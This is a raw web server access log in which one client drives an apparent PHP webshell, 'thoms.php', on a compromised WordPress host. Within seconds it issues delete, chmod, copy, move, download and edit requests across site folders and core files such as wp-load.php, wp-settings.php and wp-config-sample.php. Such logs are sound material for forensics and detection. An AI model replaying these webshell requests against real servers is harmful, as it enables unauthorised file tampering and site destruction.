45.135.193.11 - - [11/Sep/2026:23:47:12 -0400] "GET /thoms.php?del=index.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13633 "http://163.245.207.76:443/thoms.php?del=index.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /booking-wise2.com.tw/wp-content HTTP/1.1" 301 795 "http://163.245.207.76:443/booking-wise2.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content%2Fmu-plugins&p= HTTP/1.1" 200 12411 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content%2Fmu-plugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /thoms.php?chmod=plugins&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=plugins&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /booking-wise2.com.tw/wp-content/ HTTP/1.1" 200 0 "https://163.245.207.76:443/booking-wise2.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /thoms.php?del=languages&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13622 "http://163.245.207.76:443/thoms.php?del=languages&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content%2Fmu-plugins HTTP/1.1" 200 12745 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-content%2Fmu-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /thoms.php?chmod=mu-plugins&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=mu-plugins&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content&view=index.php HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-content&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /booking-wise2.com.tw/wp-content/themes/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content&settings=1 HTTP/1.1" 200 11920 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-content&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /booking-wise2.com.tw/wp-content/uploads/ HTTP/1.1" 200 846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content%2Findex.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content%2Findex.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content%2Fuploads HTTP/1.1" 200 12802 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-content%2Fuploads" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content%2Fthemes HTTP/1.1" 200 13304 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /booking-wise2.com.tw/wp-content/mu-plugins/ HTTP/1.1" 200 804 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /thoms.php?del=uploads&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13630 "http://163.245.207.76:443/thoms.php?del=uploads&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /booking-wise2.com.tw/wp-content/plugins/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:13 -0400] "GET /thoms.php?chmod=index.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content%2Fplugins HTTP/1.1" 200 13155 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-content%2Fplugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?del=plugins&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13629 "http://163.245.207.76:443/thoms.php?del=plugins&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content%2Fthemes&p= HTTP/1.1" 200 12420 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content%2Fthemes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?chmod=languages&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=languages&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /booking-wise2.com.tw/wp-content/upgrade/ HTTP/1.1" 200 700 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content&upload= HTTP/1.1" 200 12182 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-content&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /booking-wise2.com.tw/wp-content/index.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?del=themes&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13631 "http://163.245.207.76:443/thoms.php?del=themes&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-content%2Fuploads&p= HTTP/1.1" 200 12412 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-content%2Fuploads&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?chmod=uploads&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=uploads&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?chmod=themes&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=themes&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content%2Fupgrade HTTP/1.1" 200 12078 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-content%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?dl=index.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13632 "http://163.245.207.76:443/thoms.php?dl=index.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11400 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11366 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:14 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18012 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18179 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p= HTTP/1.1" 200 12421 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11368 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11436 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22758 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11425 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-load.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?edit=thoms.php&p=booking-wise2.com.tw HTTP/1.1" 200 56176 "http://163.245.207.76:443/thoms.php?edit=thoms.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 59746 "http://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?edit=mah.php&p=booking-wise2.com.tw HTTP/1.1" 200 24353 "http://163.245.207.76:443/thoms.php?edit=mah.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?edit=mah.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 28093 "http://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /booking-wise2.com.tw/.well-known/acme-challenge/ HTTP/1.1" 200 707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /thoms.php?edit=wp-links-opml.php&p=booking-wise2.com.tw HTTP/1.1" 200 12860 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:15 -0400] "GET /booking-wise2.com.tw/.well-known/?ND= HTTP/1.1" 200 784 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /booking-wise2.com.tw/.well-known/?MA= HTTP/1.1" 200 784 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /thoms.php?edit=wp-links-opml.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 16442 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /booking-wise2.com.tw/.well-known/?SA= HTTP/1.1" 200 784 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /thoms.php?edit=readme.html&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 18609 "http://163.245.207.76:443/thoms.php?edit=readme.html&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /thoms.php?edit=readme.html&p=booking-wise2.com.tw HTTP/1.1" 200 14987 "http://163.245.207.76:443/thoms.php?edit=readme.html&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /thoms.php?edit=wp-config-sample.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 16637 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /thoms.php?edit=wp-config-sample.php&p=booking-wise2.com.tw HTTP/1.1" 200 13051 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /booking-wise2.com.tw/cgi-bin/?ND= HTTP/1.1" 200 694 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /booking-wise2.com.tw/cgi-bin/?MA= HTTP/1.1" 200 694 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /booking-wise2.com.tw/cgi-bin/?SA= HTTP/1.1" 200 694 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18177 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22758 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11411 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:16 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p= HTTP/1.1" 200 12422 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
